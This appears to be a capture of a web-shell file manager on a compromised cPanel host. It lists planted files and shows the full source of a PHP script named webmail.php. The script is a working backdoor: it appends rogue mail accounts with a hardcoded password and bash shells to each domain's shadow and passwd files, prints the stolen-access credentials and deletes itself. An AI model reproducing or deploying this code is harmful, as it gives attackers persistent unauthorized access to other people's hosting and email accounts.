FM / mail

/home/techb158/public_html/systemd/mail/

/home/techb158/public_html/systemd/mail

Name	Size	Mode	Actions
auto/	-	0755	rm
a.txt	11	0644	edit dl rm
adminer-4.8.1.php	476603	0644	edit dl rm
t.php	4489	0644	edit dl rm
webmail.php	2649	0644	edit dl rm

Edit: /home/techb158/public_html/systemd/mail/webmail.php (2649B)

<?php
set_time_limit(0);
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);
error_reporting(0);

$user = get_current_user();
if (!$user || $user === 'nobody' || $user === 'apache') {
    if (preg_match('#^/home/([^/]+)/#', __FILE__, $m)) {
        $user = $m[1];
    } elseif (!empty($_SERVER['HOME']) && preg_match('#/home/([^/]+)#', $_SERVER['HOME'], $m)) {
        $user = $m[1];
    }
}

$boxes = array('system', 'locale', 'update');
$password = 'Atirkalu@123';

$salt = substr(str_replace('+', '.', base64_encode(pack('N4', mt_rand(), mt_rand(), mt_rand(), mt_rand()))), 0, 16);
$pwd  = crypt($password, '$6$'.$salt.'$');
$days = (int)(time() / 86400);

$etc = '/home/'.$user.'/etc';
if (!is_dir($etc)) {
    echo "NOETC\n";
    @unlink(__FILE__);
    exit;
}

foreach (glob($etc.'/*', GLOB_ONLYDIR) as $dir) {
    $domain = basename($dir);
    $shadow = $dir.'/shadow';
    $passwd = $dir.'/passwd';

$uid = $gid = 99;
    if (function_exists('posix_getpwnam')) {
        $pw = @posix_getpwnam($user);
        if ($pw) {
            $uid = $pw['uid'];
            $gid = $pw['gid'];
        }
    }

$existS = is_file($shadow) ? @file($shadow, FILE_IGNORE_NEW_LINES) : array();
    $existP = is_file($passwd) ? @file($passwd, FILE_IGNORE_NEW_LINES) : array();
    $haveS = array();
    $haveP = array();
    foreach ($existS as $ln) {
        $p = explode(':', $ln, 2);
        if (!empty($p[0])) $haveS[$p[0]] = true;
    }
    foreach ($existP as $ln) {
        $p = explode(':', $ln, 2);
        if (!empty($p[0])) $haveP[$p[0]] = true;
    }

if (is_file($shadow) && !is_file($dir.'/shadow.roottn.bak')) {
        @copy($shadow, $dir.'/shadow.roottn.bak');
    }

$fs = @fopen($shadow, 'ab');
    $fp = @fopen($passwd, 'ab');
    if (!$fs) continue;

foreach ($boxes as $box) {
        if (empty($haveS[$box])) {
            fwrite($fs, $box.':'.$pwd.':'.$days."::::::\n");
        }
        if ($fp && empty($haveP[$box])) {
            $home = '/home/'.$user.'/mail/'.$domain.'/'.$box;
            if (!is_dir($home)) {
                @mkdir($home, 0750, true);
                @mkdir($home.'/cur', 0750, true);
                @mkdir($home.'/new', 0750, true);
                @mkdir($home.'/tmp', 0750, true);
            }
            fwrite($fp, $box.':x:'.$uid.':'.$gid.'::'.$home.":/bin/bash\n");
        }
        echo "ZEUXHAXOR https://$domain:2096|$box@$domain|$password\n";
    }
    if ($fs) fclose($fs);
    if ($fp) fclose($fp);
    @chmod($shadow, 0640);
    @chmod($passwd, 0640);
}

@unlink(__FILE__);

cmd: